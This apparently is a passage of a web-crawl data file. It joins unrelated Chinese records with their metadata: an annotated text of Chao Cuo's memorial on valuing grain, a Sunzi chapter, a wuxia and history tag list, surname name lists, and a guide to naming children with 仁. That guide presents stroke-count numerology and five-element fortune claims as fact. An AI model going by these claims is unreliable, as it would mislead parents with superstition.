西漢文\n聖王在上、而民不凍饑者、非能耕而食寺、之、織而衣去聲、之也、爲去聲、開其資財之道也。此句是一篇主意。故堯禹有九年之水、湯有七年之旱、而國無捐瘠者、捐、相棄也。瘠、瘦病也。以畜積多而備先具也。聖王爲民開資財之道、故有備無患。今海內爲一、土地人民之衆、不避禹湯、避、讓也。加以亡天災數年之水旱、而畜積未及者、何也。地有餘利、民有餘力、說出實病。生穀之土未盡墾、山澤之利未盡出也。故地有餘利。游食之民、未盡歸農也。故民有餘力。 ○後世不能開資財之道、故患在無備。 ○以聖王形當時、謂當時畜積未及、弊在不農、下因言不農之害。民貧則姦邪生、貧生於不足、不足生於不農、逆寫不農之害。不農則不地著、丈入聲、 ○安土謂之地著。不地著則離鄉輕家、民如鳥獸、謂輕去其鄉。雖有高城深池、嚴法重刑、猶不能禁也。順寫不農之害。夫寒之於衣、不待輕煖、饑之於食、不待甘㫖、饑寒至身、不顧廉恥。申言民貧則姦邪生數句。人情一日不再食則饑、終歲不製衣則寒。夫腹饑不得食、膚寒不得衣、雖慈母不能保其子、君安能以有其民哉。申言不農則不地著數句。明主知其然也、捷轉。故務民於農桑、所謂開其資財之道者以此。薄賦斂、廣畜積、以實倉廩、備水旱、承務民農桑說。故民可得而有也。應安能有其民句。民者在上所以牧之、趨利如水走下、四方無擇也。三句承上起下。夫珠玉金銀、意在重粟、卻從金玉折入、大有波致。饑不可食、寒不可衣、然而衆貴之者、以上用之故也。其爲物輕微易藏、在於把握、可以周海內、而亡饑寒之患、此令臣輕背其主、而民易去其鄉、盜賊有所勸、亡逃者得輕資也。最便處、卻是害處。粟米布帛、生於地、長於時、聚於力、非可一日成也、數石之重、中人弗勝、升、不爲姦邪所利、一日弗得、而饑寒至。最不便處、卻是利處。是故明君貴五穀而賤金玉。一句點出正意。今農夫五口之家、其服役者、不下二人、服役、謂服公家之役。其能耕者、不過百畝、二句言民之力有盡。百畝之收、不過百石、二句言民之財有盡。春耕夏耘、秋穫冬藏、伐薪樵、樵、亦薪也。治官府、給徭役、春不得避風塵、夏不得避暑熱、秋不得避陰雨、冬不得避寒凍、四時之間、無日休息。承服役能耕三句、言勤于作事之苦。又私自送往迎來、弔死問疾、養孤長幼在其中。承百畝之收一句、言勤于應用之苦。勤苦如此、尚復被水旱之災、急政暴虐、賦斂不時、朝令而暮改。水旱頻仍、賦斂愈急、平常勤苦之中、又有意外之勤苦。當其有者、半賈同價、而賣、亡者取倍稱之息、有穀者、賤賣以應急用、無穀者、稱貸於人、而聽取加倍之息。於是有賣田宅、鬻子孫、以償債者矣。細陳田家辛苦顛連之狀、如在目前。下復將商賈相形一番、情事愈透。而商賈、轉接輕妙。大者積貯倍息、小者坐列販賣、操其奇贏、日游都市、贏、獲利也。乘上之急、所賣必倍。故其男不耕耘、女不蠶織、衣必文采、食必粱肉。亡農夫之苦、有阡陌之得、因其富厚、交通王侯、力過吏勢、以利相傾、千里游敖、同遨、冠蓋相望、乘堅策肥、堅、好車。肥、好馬。履絲曳異、縞。極寫商人之逸樂、句句與農人之勤苦相反。此商人所以兼并農人、農人所以流亡者也。總收一筆、以見當尊農賤商意。今法律賤商人、商人已富貴矣、尊農夫、農夫已貧賤矣、故俗之所貴、主之所賤也、商、吏之所卑、法之所尊也。農、上下相反、好惡乖迕、誤、而欲國富法立、不可得也。棄本逐末、法律皆爲具文、可爲三歎。方今之務、莫若使民務農而已矣。欲民務農、在於貴粟、貴粟之道、在於使民以粟爲賞罰。正意作三層跌出。今募天下入粟縣官、得以拜爵、得以除罪、如此富人有爵、農民有錢、粟有所渫。屑、 ○渫、散也。夫能入粟以受爵、皆有餘者也、一折更醒。取於有餘、以供上用、則貧民之賦可損、所謂損有餘補不足、令出而民利者也。入粟拜爵除罪、固非正論、然實一時備荒良策。順於民心、所補者三、一曰主用足、二曰民賦少、三曰勸農功。貴粟中、又剔出三項。今令民有車騎馬一匹者、復卒三人、車騎馬、可以備車騎之馬也。復、免也。謂免其爲卒者三人。此當日現行事例。車騎者、天下武備也、故爲復卒。旣有武備、尤賴粟以爲守、起下文。神農之教曰、有石城十仞、湯池百步、帶甲百萬、而無粟、弗能守也。以是觀之、粟者、王者大用、政之本務。見粟之當重如此。令民入粟受爵、至五大夫以上、迺復一人耳。五大夫、五等之爵也。言入粟多而復卒少。此其與騎馬之功、相去遠矣。與納馬少而復卒多者、相去甚遠。 ○此正見以粟爲賞罰、最是良法。爵者、上之所擅、出於口而無窮。粟者、民之所種、生於地而不乏。所以爲法之良。夫得高爵與免罪、人之所甚欲也。應上順于民心句。使天下人入粟於邊、以受爵免罪、不過三歲、塞下之粟必多矣。結出貴粟正㫖。\n此篇大意、只在入粟于邊、以富強其國。故必使民務農、務農在貴粟、貴粟在以粟爲賞罰。一意相承、似開後世賣鬻之漸。然錯爲足邊儲計、因發此論、固非泛談。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/neodu.com\/%E3%80%8A%E9%BC%82%E9%8C%AF%E8%AB%96%E8%B2%B4%E7%B2%9F%E7%96%8F%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-03-04T06:31:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178368608.66\/warc\/CC-MAIN-20210304051942-20210304081942-00336.warc.gz","language":"lzh","language_score":0.5041441321,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5041441321372986, \"cmn_Hani_score\": 0.22284407913684845, \"jpn_Jpan_score\": 0.048126619309186935, \"nan_Hani_score\": 0.04549553617835045, \"wuu_Hani_score\": 0.02555357851088047, \"und_Tang_score\": 0.019251281395554543, \"zxx_Latn_score\": 0.017772352322936058, \"yue_Hani_score\": 0.017384778708219528}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.504,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.崔姓猴年男孩子的名字\n崔鸿煊 崔炎彬 崔浩宇 崔泰宇 崔懿轩 崔瑾瑜 崔国豪 崔韵文 崔俊材 崔君浩 崔晟棋 崔昊强 崔鹏煊 崔翰思 崔卡思 崔鑫磊 崔秀杰 崔楷瑞 崔建辉 崔松德 崔明杰 崔圣杰 崔益弘 崔伟祺 崔智宸 崔文博 崔俊驰 崔越彬 崔博超 崔冠霖 崔世博 崔健柏 崔靖琪 崔弘文 崔皓轩 崔厉辉 崔国龙 崔雪松 崔风桦 崔绍辉 崔擎宇 崔昊然 崔劲松 崔沙欧 崔泽楷 崔鼎寒 崔越泽 崔苑杰 崔鑫鹏 崔振豪 崔文昊 崔天磊 崔荣轩 崔冠楠 崔煜祺 崔嘉懿 崔炫明 崔鸿涛 崔伟诚 崔烨伟 崔雨泽 崔明辉 崔展鹏 崔博涛 崔星野 崔彤彤 崔达强 崔弘昌 崔晟睿 崔旭尧 崔新杰 崔新豪 崔晓啸 崔睿渊 崔博文 崔志强 崔伟泽 崔鹤轩 崔煜城 崔哲瀚 崔致轩 崔浩南 崔昊天 崔俊楠 崔幽朋 崔天宇 崔伟宸 崔文轩 崔智渊 崔韵舟 崔泽洋 崔金傲 崔明轩 崔君昊 崔辰逸 崔苑博 崔致远 崔玮伦 崔峻熙 崔鹏涛 崔智轩 崔天佑 崔厉轩 崔安辉 崔博睿 崔涛源 崔德传 崔棋震 崔雄伯 崔旭乔 崔俊浩 崔亦君 崔俊哲 崔寒韵 崔信志 崔圣康 崔彬野。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.vovofan.com\/k\/30852.html","date":"2021-12-04T14:27:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362992.98\/warc\/CC-MAIN-20211204124328-20211204154328-00392.warc.gz","language":"lzh","language_score":0.9983875751,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9983875751495361}","num_words":118,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n達摩手 破碎虚空 不戒和尚 炎元真氣 青釭劍 張遼 太虛勁 五行劍法 怒劍狂花 定逸師太 華山派 關索 明珠 蝴蝶穿花七十二式 費禕 碧血洗銀槍 定世鞭 合淝之戰 月異星邪 不死七幻 鍾會 黃蓋 董允 鳩摩智 崑崙派 任盈盈 塌上策 程英 飛鶯飛鷹 曾柔 姜維北伐 洪七公 狼牙 張無忌 王元姬 袁紫衣 古龍作品 吳國太 化石神功 曹休 武當七俠 林朝英 劍罡同流 天一掌 一扇十八搖 橫煉罡 天魔大法 魯肅 七禽身法 孟獲 樊城之戰 五毒教 心佛掌 法顯 王語嫣 菩提心功 金剛門 周泰 黃皓 俠客行 飛天狐狸 天龍八部 金針開穴之法 摩尼教 姑蘇慕容 界橋之戰 霍都 鬼火十三拍 魅變術 失魂引 玄鐵重劍 臥龍 封天閉地 曹丕 馮錫范 回轉斧法三十式 奪命簪 嵩山派 六脈神劍 方證大師 烏金血劍 魯有腳 夏侯霸 索額圖 文鴦 鳥渡術 亡神十八掌 泰山派 曹丕伐吳 浣花洗劍錄 黑鬼爪 峨嵋派 壽春三叛 王異 夢姑 歐陽鋒 袁承志 關羽 笮融 不死印法 蒼穹十三劍 荊州 余魚同 藏密智能書 桃花島 涼州軍劫天子 張苞 就地十八滾 決戰前後 趙敏 彩環曲 段正淳 射鵰三部曲 陽頂天 逍遙拆 曹純 移玉大法 練師 天鷹教 魏晉玄學 段正明 程普 梵我如一 沖虛道長 韋小寶 先天功 刀劍雙殺七七四十九式 海神 歸藏鞭 青龍會 無想奼女大法 二宮之爭 馬岱 姜維 李廣 仙門劍訣 洪承疇 逍遙派 伏魔劍法 魔心連環 晉滅吳之戰 九陰真經 青松劍譜 劉備 丹心術 鴛鴦刀 尉遲敬德 賈南風 雙尖軟矛 張三李四 流星鎚 葵花寶典 甘寧 大開碑手 韓小瑩 呂壹專權 成昆 張角 蔣濟 曹操攻徐州之戰 子貴母死 完顏洪烈 馬大元 蕭摩訶 沐劍屏 鍾靈 壽春馳援 一休 圓月彎刀 馬超 游坦之 折花百式 白萬劍 楊頂天 銅錘 鴛鴦腿 華山派 魏滅蜀之戰 龍門鏢局 桃谷六仙 郭解 文醜 上官鼎 倚天劍 韋小寶 死眷術 古龍 九品中正制 黃藥師 英雄無淚 奪命十三劍 名劍風流 雙修大法 種玉大法 刀白鳳 飛燕七式 東興之戰 迷蹤七變 公孫綠萼 曹操討伐袁術之戰 靈犀一指 鳳天南 鍾繇 諸葛亮 劍毒梅香 炎陽奇功 譙周 街亭 梅花鉤 五絕神功 屯田制 冰玄勁 金錢幫 寧中則 曹叡 賈詡 魏延 覆雨翻雲 劍玄錄 霍青桐 大旗英雄傳 燕子雙飛 楚留香新傳之借屍還魂 狂沙刀法 慈航劍典 覆雨劍法 楊成協 丐幫 李典 如意八打 合肥之戰 彼岸劍訣 飛鷹十三刺 先天氣功 蕭遠山 衛春華 孫皓暴政 呂母 空綁術 阿青 少林三渡 梅超風 神蛛凌空銀絲渡虛 華山論劍 降龍伏虎羅漢拳 周倉 裘千尺 馬謖 內家橫練 駱冰 倚天屠龍記 賭局 孫權建國 裂馬槍 陳宮 九轉無相神功 披風杖法 龍木島主 林遠圖 司馬師 夏侯嬰 賈充 定閒師太 七十二路分筋錯骨手 戚芳 石破天 韋春花 伏養氣功 蔣幹 星彩 法正 清風十三式 丞相,起風了 公孫止 竹節鞭 三少爺的劍 西陵之戰 明玉功 硃砂掌 淑女劍 石田三成 楚留香新傳之新月傳奇 奼女心法 暴雨梨花釘 建寧公主 乾隆 化骨綿掌 恆山派 瀟湘子 水笙 孫皓 楊修 福康安 金蛇郎君 七流星 日月當空 閔柔 楚留香新傳 擒拿截脈法 石中玉 鄧芝 馬忠 牛郎一百零八棍 甄姬 鮑三娘 穆念慈 丈八蛇矛 九月鷹飛 合淝之戰 雌雄雙股劍 郭嘉 謝煙客 不碎金剛 天外飛仙 旋風十八矛 紫霞神功 海大富 諸葛亮南征 桃幹仙 湘妃劍 天魔擊三大散招 交阯之亂 祝融 李元霸 雙兒 燕子三抄水 桃實仙 曹操迎天子 長河正氣 石清 武田信玄 徐天宏 儀琳 月英 飄香劍雨 西蜀地形圖 沙影二十八劍 鎖子縮骨功 周伯通 霍去病 心硯 長平公主 袖裡乾坤 郭襄 多情劍客無情劍 瘋魔上天下地一百零七撃 蔣四根 尉遲恭 白骨爪 阿朱 逆水寒 神州奇俠 四大惡人 大人物 破蓮八著 血戰十式 嫁衣神功 蒼穹十三式 火併蕭十一郎 喬鋒 曹丕篡漢 吳質 飛刀,又見飛刀 蘇荃 歸辛樹 武夷派 劍花煙雨江南 朱然 空城計 楊逍 丁不三 蔡文姬 無念禪功 青龍偃月刀 關興 君子劍 荀攸 移花接玉 桃葉仙 玩命拳 張郃 史火龍 大意失荊州 陳家洛 嵩山十三太保 呂布 菊花的刺 廖化 赤壁之戰 銀雕 雪山飛狐 柳絮劍法 謝遜 衡山派 官渡之戰 遊俠錄 童子功十三太保橫練 鬼魅潛蹤 徐盛 絕代雙驕角色列表 呂蒙 黃蓉 王重陽 翔鷹劍法 尹克西 華陀針 蝶雙飛 軟蝟甲 許褚 梅花鉤 御盡萬法根源智經 伏虎神拳 金蛇劍 魅影劍法 飛龍大九式 鍾會之亂 康熙 夏青青 奕劍術 常赫志 男人見不得 七傷拳 衛青 關平 天魅凝陰 歡樂英雄 銀龍手 禿筆翁 無崖子 流星蝴蝶劍 鰲拜 毛玠 劍客行 三十六招鳥啄擊法 張春華 勞德諾 易京之戰 桃枝仙 武三通 碧血劍 十二都天神功 孫堅 情人箭 魅影身法 左冷禪 邊荒傳說 七殺手 北冥神功 獨孤九劍 馬皇后 潼關之戰 天魔心法 萬物波動心法 丁不四 日月神教 夏侯惇 道心種魔大法 貂蟬 汪劍通 變天擊地大法 太極七截棍 迎風一刀斬 刑遁術 沉沙劍法 定靜師太 白馬嘯西風 范遙 楊康 大元丹法 七殺拳 紫氣天羅 天魔手七十二式 岳不羣 神君別傳 太清元功 武當掌法 八賢王 黃忠 常伯志 挾天子 齊桓公 碧海潮生曲 丞相 邊城浪子 慕容博 貝海石 諸葛亮北伐 布衣神相 南匈奴 彭長老 胡斐 鐵脊蛇矛 玉女媚術 玉女劍法 益州之戰 書劍恩仇錄 古墓派 小昭 魔佛十式 丁奉 大唐雙龍傳 連城訣 日月麗天大法 典韋 岳靈珊 田伯光 大拍手 幻魔身法 鷹變十三式 阿珂 蔣琬 枯禪玄功 狄雲 飛狐外傳 五嶽劍派 蒼穹神劍 白狼山之戰 武當派 李莫愁 逍遙訣 大手印 諸葛誕 合淝新城之戰 天地明環 全真七子 屠龍刀 趙雲 慕容復 章進 井中八法 連體心法 五帝鐧 荊楚爭雄記 吸星大法 司馬昭弒君 嫁衣神功 丁春秋 隆中對 文泰來 瑛姑 陸小鳳傳奇 鄭丰 曹睿 雲行雨飄 天心蓮環 東興之戰 周芷若 玄鐵劍法 無塵道長 石亭之戰 博望坡之戰 石雙英 陳近南 木婉清 仇國論 起風了 夷陵之戰 青城派 吳起 溫瑞安 羅憲 鹿鼎記 徐榮 龐德 尋秦記 凝真九變 扭轉乾坤殺手劍 天地明環 曹仁 打狗棒法 夏侯淵 掩月劍法 朱子柳 孫權 天山童姥 玄慈 呂布爭徐州 第六天魔王 白阿繡 胡昭 耶律齊 張召重 郭芙 韓當 奇功絕藝榜 東方不敗 聖火令 楊過 玉女素心劍法 達爾巴 一指頭禪 尼摩星 黃祖 任我行 滿天花雨 德川家康 五虎斷門刀 蛤蟆功 九玄大法 下邳之戰 吳六奇 關銀屏 董卓 徐庶 張飛 九字真言手印 滿地開花八十—式 吳應熊 韋一笑 宗預 蕭十一郎 于禁 方怡 殘金缺玉 鄧艾 破精自絕大法 陳到 彈指神通 小龍女 碧落紅塵 梁羽生 余滄海 降龍十八掌 大武俠時代 莫大先生 林平之 挾刀揉手 興勢之戰 東洋神風刀法 桃花仙 星宿派 藍鳳凰 王平 驚魂六記 滿寵 捨身大法 霓裳仙舞 一串鞭 紫微軟劍 龍吟曲 曹洪 段譽 幻影劍法 建安文學 斷絕神功 護花鈴 小喬 風清揚 周瑜 枯木神功 呂后 令狐沖 空明拳 高平陵之變 七种武器 荀彧 無相神功 羊祜 劉表 金輪法王 司馬昭 的盧 蕭逸 金丹大法 鐵蒺藜骨朵 神鵰俠侶 流星鎚 龜息功 金庸 夷陵之戰 黯然銷魂掌 白玉老虎 血海飄香 小鷹爪功 五虎斷門刀 傻姑 儀琳 飛伏一百零八槍 倪匡 虛竹 花間十二支 劍氣書香 左手刀法 太史慈 桃根仙 裘千仞 金絲綿掌 十住大乘功 諸葛瞻 孤星傳 臥龍生 孫策 紫血大法 夏姬 陸抗 南皮之戰 崆峒派 四大名捕 無想十法 陸遜 阿九 絕代雙驕 丁典 星际浪子 方天畫戟 神龍教 越女劍 郭馬之亂 曹真 歸魂十八爪 急風十三刺 曹操 龐統 天外流星 雙手互搏 武林外史 倉亭之戰 曹爽專權 血鸚鵡 黃皓專權 鬼王鞭 天涯明月刀 換日大法 白世鏡 孫尚香 誰來跟我乾杯 阿紫 摘心手 風鈴中的刀聲 楚留香傳奇 永安之戰 三尸腦神丹 一燈大師 九難 黑白子 九韶定音劍 孫曉 楊儀 白自在 劉備稱帝 康敏 九轉還童 笑傲江湖 徐晃 董卓討伐戰 魏滅蜀之戰 張翼 掃地僧 紅花會 歐陽克 水雲袖法 滅神掌 散手八撲 神刀斬 玄氣大法 燎原百擊 左慈 黃權 飛龍五式 織女劍法 豔陽刃法 于萬亭 碎金剛乘 絕不低頭 羅漢伏虎拳 趙志敬 楚留香新傳之蝙蝠傳奇 殷離 孫策平江東之戰 黃天大法 大地飛鷹 丁璫 滅絕師太 枯榮大師 兵器譜 幽灵山庄 趙半山 絕情谷 少林神拳 樂進 穿雲劍法 冷月寶刀 袁紹 九陽真經 鐵騎快劍 風萍掌 地煞拳 呂玲綺 全真教 群狐 殭屍拳 江南七怪 李秋水 九陽神功 石亭之戰 凌統 五毒神功 李牧 張三丰 程靈素 太虛錯手 司馬懿 大喬 伊達政宗 陸無雙 少林派 凌波微步 江夏戰神 黃鍾公 大圓滿杖法 戰神圖錄 郭靖 張大春 流雲飛袖 丹青生 劉禪 七星龍王 雷霆刀法 辟邪劍法 郭淮 漢中之戰 吳三桂 諸葛恪","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2022-01-25T17:04:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304859.70\/warc\/CC-MAIN-20220125160159-20220125190159-00458.warc.gz","language":"lzh","language_score":0.5900543332,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900543332099915, \"nan_Hani_score\": 0.2526976764202118, \"cmn_Hani_score\": 0.12174998968839645, \"yue_Hani_score\": 0.03296082466840744}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孙子曰:凡用兵之法,将受命于君,合军聚众。圮地无舍,衢地交合,绝地无留,围地则谋,死地则战,途有所不由,军有所不击,城有所不攻,地有所不争,君命有所不受。\n故将通于九变之利者,知用兵矣;将不通九变之利,虽知地形,不能得地之利矣;治兵不知九变之术,虽知五利,不能得而用之矣。\n是故智者之虑,必杂于利害,杂于利而务可信也,杂于害而患可解也。是故屈诸侯者以害,役诸侯者以业,趋诸侯者以利。故用兵之法,无恃其不来,恃吾有以待之;无恃其不攻,恃吾有所不可攻也。\n故将有五危,必死可杀,必生可虏,忿速可侮,廉洁可辱,爱民可烦。凡此五者,将之过也,用兵之灾也。覆军杀将,必以五危,不可不察也","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/tianyugong.com\/jbp\/","date":"2023-01-30T11:40:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499816.79\/warc\/CC-MAIN-20230130101912-20230130131912-00276.warc.gz","language":"lzh","language_score":0.4704747796,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4704747796058655, \"cmn_Hani_score\": 0.45644211769104004, \"nan_Hani_score\": 0.03639020770788193, \"wuu_Hani_score\": 0.01691301539540291}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.677,"perplexity_score":500.0,"cluster_detection":1} +{"text":"仁字的本義指人與人相互友愛幫助,是中國古代一種含義廣泛的道德觀念。因為仁的意義深入人心,因此很多家長為小孩取一個含有仁的名字。那麼用仁字怎麼起名呢?仁字男孩名字有哪些呢?周易網就教您用仁字為寶寶取名。\n1、仁字的基本含義\n1.志向果決堅定不容易動搖。\n2.果核的內部可食用部分。\n3.姓氏。\n2、仁字起名的姓名學屬性\n拼音:rén\n部首:亻\n簡體筆畫:4畫\n姓名筆畫:4畫\n繁體字:仁\n五行:金\n姓名學含義:仁字用於人名常喻意志向堅定果決,不容易受到影響而產生動搖。因此常用於男孩名字。\n3、名人起名用字\n梁家仁:香港武打演員,七十年代出道,曾演出過多部武打影視作品,其塑造的經典角色包括82版《天龍八部》中的蕭峰,83版《神雕俠侶》中的郭靖等。\n李健仁:香港演員,前星輝海外有限公司公司的制作人之一,李健仁經常在周星馳電影中飾演濃妝艷抹、手指掏鼻,不男不女的角色\"如花\"。\n袁惟仁:中國台灣詞曲作者、音樂制作人 ,歌手 。\n車仁表:韓國演員,韓流代表人物。代表作《星夢奇緣》《火花》《天若有情》。\n4、如何用仁字起名\n仁字在姓名學中是4畫,在81數理中代表身遭劫難、萬事休止的凶惡數理。象征是凶變,含有辛苦困難,獨立乏身的預意暗示。仁字的五行屬性為金,如果男寶寶的生辰八字喜用神五行屬金,便可用\"仁\"字起名。這樣不僅能起到幫扶命理的作用,還能化解姓名裡一些凶惡數理的喻意暗示。寶寶起名的字詞音韻搭配要合理,如果名字有了著不雅的諧音,容易給他人帶來誤導。\n舉例參考\n仁輝 鵬仁 仁治 嘉仁 知仁 仁雅 銘仁 宏仁 仁義 仁宇 仁怡 仁豐 博仁 俊仁 馳仁 儲仁 戴仁 得仁 登仁\n相關起名用字:\n家 啟 鳴 靖 涵 毅 友 定 品 勵 國 高 巖 月 心 泉\n5、帶仁的男孩名字起名大全\n仁字開頭的名字\n仁澳 仁壩 仁必 仁部 仁才 仁倉 仁場 仁長 仁倡 仁鈔 仁晨 仁馳 仁崇 仁初 仁出 仁從 仁骢 仁電 仁丁 仁定 仁洱 仁琺 仁飛 仁甫 仁復 仁甘 仁港 仁皋 仁革 仁葛 仁庚 仁貢 仁館 仁廣 仁涵 仁函 仁汗 仁好 仁何 仁褐 仁賀 仁懷 仁環 仁會 仁機 仁極 仁計 仁際 仁嘉 仁兼 仁漸 仁謹 仁兢 仁京 仁警 仁景 仁靖 仁玖 仁居 仁炬 仁均 仁鈞 仁君 仁郡 仁開 仁楷 仁慷 仁箜 仁礦 仁赉 仁崃 仁欄 仁瀾 仁镧 仁覽 仁琅 仁樂 仁壘 仁莉 仁礫 仁量 仁僚 仁六 仁泷 仁祿 仁路 仁律 仁滿 仁懋 仁棉 仁秒 仁謀 仁睦 仁能 仁釀 仁鵬 仁颀 仁企 仁青 仁求 仁全 仁券 仁鵲 仁仁 仁韌 仁日 仁容 仁嵘 仁三 仁森 仁扇 仁尚 仁紹 仁審 仁慎 仁適 仁樹 仁碩 仁司 仁潭 仁堂 仁濤 仁焘 仁淘 仁田 仁聽 仁庭 仁旺 仁威 仁穩 仁昔 仁析 仁禧 仁洗 仁悉 仁先 仁仙 仁羨 仁橡 仁孝 仁鑫 仁心 仁興 仁雄 仁許 仁緒 仁循 仁旬 仁巖 仁言 仁諺 仁揚 仁野 仁曳 仁倚 仁易 仁益 仁翼 仁殷 仁尤 仁佑 仁余 仁域 仁遇 仁源 仁粵 仁月 仁在 仁則 仁綻 仁照 仁折 仁浙 仁蓁 仁爭 仁拯 仁钲 仁峥 仁致 仁治 仁鐘 仁宙 仁莊 仁諄 仁酌 仁祖 仁遵 仁茆 仁潇 仁濠 仁宸 仁缇 仁玺 仁韬 仁梵 仁熹 仁筝 仁箫 仁慶 仁漢 仁珠 仁程 仁澤 仁倫 仁剛 仁耘 仁昌 仁堂 仁善 仁緒 仁百 仁嘉 仁明 仁徭 仁祥 仁禧 仁淳 仁雨 仁羽 仁元 仁強 仁俊 仁君 仁藝 仁武 仁柒 仁波 仁鋒 仁濤 仁彩 仁元 仁貴 仁駿 仁強 仁惡 仁邦 仁石 仁陽 仁昌 仁中 仁剛 仁允 仁煜 仁駿 仁浩 仁達 仁轲 仁淑 仁耿 仁鑫 仁哲 仁遠 仁環 仁帥 仁秀 仁橋 仁翔 仁連 仁章 仁強 仁銘 仁泰 仁豪 仁禮 仁洪 仁東 仁源 仁澤 仁背 仁瑞 仁九 仁煦 仁友 仁丘 仁恺 仁獻 仁豐 仁法 仁禮 仁軍 仁越 仁之 仁然 仁春 仁浩 仁滿 仁洮 仁清 仁茗 仁銘 仁步 仁浩 仁俊 仁政 仁厚 仁君 仁忠 仁翰 仁平 仁群 仁凱 仁會 仁德 仁波 仁勃 仁全 仁衡 仁迢 仁德 仁慈 仁祝 仁珩 仁表 仁浩 仁哲 仁娴 仁華 仁棂 仁鶴 仁鳳 仁艾 仁至 仁海 仁山 仁浩 仁銳 仁澤 仁固 仁強 仁康 仁曦 仁馨 仁科 仁瓒 仁清 仁淨 仁泉 仁荥 仁勇 仁奇 仁華 仁赫 仁毅 仁傑 仁人 仁智\n仁字結尾的名字\n佰仁 班仁 榜仁 寶仁 焙仁 斌仁 舶仁 燦仁 滄仁 測仁 昌仁 倡仁 超仁 橙仁 呈仁 弛仁 馳仁 儲仁 戴仁 得仁 登仁 迪仁 殿仁 鼎仁 定仁 冬仁 帆仁 蜂仁 鋒仁 福仁 傅仁 干仁 港仁 皋仁 高仁 葛仁 貴仁 國仁 果仁 漢仁 夯仁 禾仁 河仁 鶴仁 虎仁 環仁 桓仁 燴仁 佳仁 家仁 劍仁 漸仁 澗仁 今仁 鯨仁 玖仁 軍仁 竣仁 楷仁 客仁 墾仁 寬仁 廓仁 琅仁 朗仁 勞仁 勵仁 遼仁 列仁 龍仁 陸仁 巒仁 麥仁 緬仁 敏仁 鳴仁 摩仁 能仁 裴仁 彭仁 票仁 品仁 奇仁 旗仁 骐仁 起仁 僑仁 铨仁 拳仁 群仁 燃仁 壬仁 如仁 瑞仁 森仁 慎仁 時仁 什仁 仕仁 壽仁 殊仁 術仁 恕仁 斯仁 寺仁 松仁 頌仁 泰仁 騰仁 庭仁 圖仁 威仁 為仁 維仁 渭仁 五仁 昔仁 晰仁 希仁 悉仁 溪仁 峽仁 想仁 享仁 蕭仁 校仁 笑仁 信仁 型仁 行仁 雄仁 序仁 學仁 勳仁 旬仁 尋仁 汛仁 焰仁 冶仁 業仁 壹仁 宜仁 乙仁 亦仁 毅仁 益仁 翼仁 繹仁 尹仁 鷹仁 雍仁 由仁 友仁 於仁 與仁 喻仁 峪仁 豫仁 元仁 轅仁 勻仁 蘊仁 鎮仁 之仁 執仁 摯仁 駐仁 專仁 准仁 灼仁 資仁 兮仁 谕仁 勐仁 圳仁 荛仁 茼仁 莘仁 奕仁 弋仁 泓仁 洵仁 漕仁 澌仁 驿仁 骅仁 珈仁 玺仁 琨仁 琛仁 瑾仁 璨仁 韫仁 杪仁 柃仁 戟仁 炀仁 祺仁 粼仁 雳仁","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.3322.online\/quming\/qmdq\/201612\/30419.html","date":"2023-06-06T09:46:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652494.25\/warc\/CC-MAIN-20230606082037-20230606112037-00703.warc.gz","language":"lzh","language_score":0.9327226877,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9327226877212524, \"nan_Hani_score\": 0.05508280545473099, \"cmn_Hani_score\": 0.011215847916901112}","num_words":607,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.938,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戴姓女孩名字大全\n提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n戴乙婷 戴娅红 戴文莉 戴湘媛 戴嘉雪 戴施琴 戴维瑶 戴钰文 戴绍丽 戴烨丽 戴玮琳 戴玮琼 戴颖娜 戴瑜洁 戴原霞 戴琳燕 戴文琴 戴欣媛 戴相媛 戴甜媛 戴佩媛 戴先颖 戴贵梅 戴莉滋 戴维文 戴溢文 戴兴梅 戴幼丽 戴凤花 戴秀怡 戴瑞琳 戴霞玲 戴冬文 戴治玲 戴坤梅 戴鑫婷 戴松梅 戴桂娥 戴雯瑶 戴钗莹 戴漫莹 戴建雪 戴春琳 戴霖琴 戴雪莹 戴俐萍 戴萍儿 戴其娜 戴敬芬 戴双红 戴桂娟 戴燕程 戴曼玲 戴曼琳 戴裕文 戴舒瑶 戴奕莹 